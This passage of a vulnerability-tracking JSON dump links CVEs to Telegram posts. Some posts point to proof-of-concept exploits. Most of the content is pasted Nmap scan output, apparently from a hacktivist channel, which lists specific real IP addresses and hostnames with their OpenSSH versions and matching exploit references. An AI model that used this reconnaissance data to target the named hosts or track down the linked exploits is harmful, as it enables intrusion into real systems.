https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A        *EXPLOIT*              |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       CVE-2023-28531  9.8     https://vulners.com/cve/CVE-2023-28531        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "fa946638-9bf5-4e2e-809b-743101aa09a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48003", "type": "published-proof-of-concept", "source": "https://t.me/Teamx1945x/6855", "content": "https://github.com/passtheticket/vulnerability-research/blob/main/aspnetzero_html_injection_via_websockets_messages.md\n\nAsp.Net Zero v12.3.0 - HTML Injection Leads To Open Redirect via Websockets (CVE-2023-48003)\n#github #exploit", "creation_timestamp": "2024-06-08T00:11:42.000000Z"}, {"uuid": "0c642b0d-f5ee-4649-bad2-763a13807dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/Teamx1945x/6847", "content": "https://github.com/horizon3ai/CVE-2023-48788\n\nFortinet FortiClient EMS SQL Injection\n#github #poc", "creation_timestamp": "2024-06-08T00:09:11.000000Z"}, {"uuid": "7f113b4c-599e-4a15-b0b2-47790563b577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "Telegram/BFvgnSqbLR6b7c5-JIJtRp8CD5gMln4mDmDgZVmWMP9BZg", "content": "", "creation_timestamp": "2024-03-22T17:43:01.000000Z"}, {"uuid": "b9a0238f-6bbf-4f06-b9ea-409f4f191aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/Teamx1945x/1049", "content": "A Vulnerability to Hack The World - CVE-2023-4863\n\nhttps://www.youtube.com/watch?v=lAyhKaclsPM", "creation_timestamp": "2024-03-29T18:27:13.000000Z"}, {"uuid": "e64f6fde-265c-4fd1-b6fa-83a8419f7e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "Telegram/dDLIHBtJ9_N-emYlw0K4JD4hXTAaTtCLuazFpz7C1Io4dA", "content": "", "creation_timestamp": "2024-08-01T22:20:23.000000Z"}, {"uuid": "ac2deebc-df1d-4b66-9e3c-2aa02f8746ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2977", "content": "8.1     https://vulners.com/githubexploit/123C2683-74BE-5320-AA3A-C376C8E3A992        *EXPLOIT*              |       11F020AC-F907-5606-8805-0516E06160EE   8.1     https://vulners.com/githubexploit/11F020AC-F907-5606-8805-0516E06160EE        *EXPLOIT*              |       108E1D25-1F7E-534C-97CD-3F6045E32B98   8.1     https://vulners.com/githubexploit/108E1D25-1F7E-534C-97CD-3F6045E32B98        *EXPLOIT*              |       0FC4BE81-312B-51F4-9D9B-66D8B5C093CD   8.1     https://vulners.com/githubexploit/0FC4BE81-312B-51F4-9D9B-66D8B5C093CD        *EXPLOIT*              |       0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180   8.1     https://vulners.com/githubexploit/0F9B3655-C7D4-55A9-8EB5-2EAD9CEAB180        *EXPLOIT*              |       0E9294FD-6B44-503A-84C2-C6E76E53B0B7   8.1     https://vulners.com/githubexploit/0E9294FD-6B44-503A-84C2-C6E76E53B0B7        *EXPLOIT*              |       0A8CA57C-ED38-5301-A03A-C841BD3082EC   8.1     https://vulners.com/githubexploit/0A8CA57C-ED38-5301-A03A-C841BD3082EC        *EXPLOIT*              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 232641 rttvar: 232641  to: 300000                                                        Nmap scan report for static.254.140.201.138.clients.your-server.de (138.201.140.254)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 166s", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "abdbbc5f-4f41-4bb8-828e-80b75f08705a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/1643", "content": "\u200aCVE-2023-48788: Revisiting Fortinet FortiClient EMS to Exploit 7.2.X\n\nhttps://www.horizon3.ai/attack-research/cve-2023-48788-revisiting-fortinet-forticlient-ems-to-exploit-7-2-x/", "creation_timestamp": "2024-06-05T11:43:02.000000Z"}, {"uuid": "0f339903-a261-47b1-a672-f7a637bee20f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2972", "content": "7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 228328 rttvar: 228328  to: 300000                                                        Nmap scan report for static.248.140.201.138.clients.your-server.de (138.201.140.248)                                 Host is up, received user-set (0.21s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 9.9 (protocol 2.0)                       | vulners:                             |   cpe:/a:openbsd:openssh:9.9:        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2025-26466  5.9     https://vulners.com/cve/CVE-2025-26466        |_      CE606E2D-D0A5-5DE8-8A61-E7AB65789A99   5.9     https://vulners.com/githubexploit/CE606E2D-D0A5-5DE8-8A61-E7AB65789A99        *EXPLOIT*              Final times for host: srtt: 214222 rttvar: 214222  to: 300000                                                        Nmap scan report for static.249.140.201.138.clients.your-server.de (138.201.140.249)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.250.140.201.138.clients.your-server.de (138.201.140.250)                                 Host is up, received user-set.         Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.251.140.201.138.clients.your-server.de (138.201.140.251)                                 Host is up, received user-set.", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "ccf318f0-728c-4054-ad1f-109b033c2377", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2973", "content": "Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE    SERVICE REASON      VERSION                                   22/tcp filtered ssh     no-response                                           Nmap scan report for static.252.140.201.138.clients.your-server.de (138.201.140.252)                                 Host is up, received user-set (0.23s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.0 (protocol 2.0)                       | vulners:                             |   cpe:/a:openbsd:openssh:8.0:        |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       CVE-2019-16905  7.8     https://vulners.com/cve/CVE-2019-16905        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Final times for host: srtt: 227656 rttvar: 227656  to: 300000                                                        Nmap scan report for static.253.140.201.138.clients.your-server.de (138.201.140.253)                                 Host is up, received user-set", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "e93ec700-430b-4cb4-8fb8-77344566548a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2968", "content": "https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       CVE-2020-12062  7.5     https://vulners.com/cve/CVE-2020-12062        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 214350 rttvar: 214350  to: 300000                                                        Nmap scan report for static.246.140.201.138.clients.your-server.de (138.201.140.246)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 224679 rttvar: 224679  to: 300000                                                        Nmap scan report for static.247.140.201.138.clients.your-server.de (138.201.140.247)                                 Host is up, received user-set (0.23s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)    | vulners:                             |   cpe:/a:openbsd:openssh:9.2p1:      |       2C119FFA-ECE0-5E14-A4A4-354A2C38071A   10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A        *EXPLOIT*              |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       CVE-2023-28531  9.8     https://vulners.com/cve/CVE-2023-28531        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "28d6843b-3838-42ec-aa74-30a5a4b98d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2967", "content": "CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 216453 rttvar: 216453  to: 300000                                                        Nmap scan report for solidboukas.mynewserver.com (138.201.140.244)            Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 219505 rttvar: 219505  to: 300000                                                        Nmap scan report for static.245.140.201.138.clients.your-server.de (138.201.140.245)                                 Host is up, received user-set (0.21s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)                           | vulners:                             |   cpe:/a:openbsd:openssh:8.2p1:      |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "adf362cd-7550-4f1b-a3eb-b63c4333d241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2966", "content": "*EXPLOIT*              |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2023-51384  5.5     https://vulners.com/cve/CVE-2023-51384        |       PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              |       5C971D4B-2DD3-5894-9EC2-DAB952B4740D   0.0     https://vulners.com/githubexploit/5C971D4B-2DD3-5894-9EC2-DAB952B4740D        *EXPLOIT*              |_      39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118   0.0     https://vulners.com/githubexploit/39E70D1A-F5D8-59D5-A0CF-E73D9BAA3118        *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 229364 rttvar: 229364  to: 300000                                                        Nmap scan report for static.243.140.201.138.clients.your-server.de (138.201.140.243)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                            | vulners:                             |   cpe:/a:openbsd:openssh:8.2p1:      |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       CVE-2020-12062  7.5     https://vulners.com/cve/CVE-2020-12062        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "1dc65483-af4a-4339-b7d3-64e14726fe6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2961", "content": "https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       EDB-ID:40858    6.4     https://vulners.com/exploitdb/EDB-ID:40858   *EXPLOIT*                               |       EDB-ID:40119    6.4     https://vulners.com/exploitdb/EDB-ID:40119   *EXPLOIT*                               |       EDB-ID:39569    6.4     https://vulners.com/exploitdb/EDB-ID:39569   *EXPLOIT*                               |       CVE-2016-3115   6.4     https://vulners.com/cve/CVE-2016-3115         |       PACKETSTORM:181223      5.9   https://vulners.com/packetstorm/PACKETSTORM:181223      *EXPLOIT*              |       MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       5.9     https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-       *EXPLOIT*      |       EDB-ID:40136    5.9     https://vulners.com/exploitdb/EDB-ID:40136   *EXPLOIT*                               |       EDB-ID:40113    5.9     https://vulners.com/exploitdb/EDB-ID:40113   *EXPLOIT*                               |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       CVE-2019-6111   5.9     https://vulners.com/cve/CVE-2019-6111         |       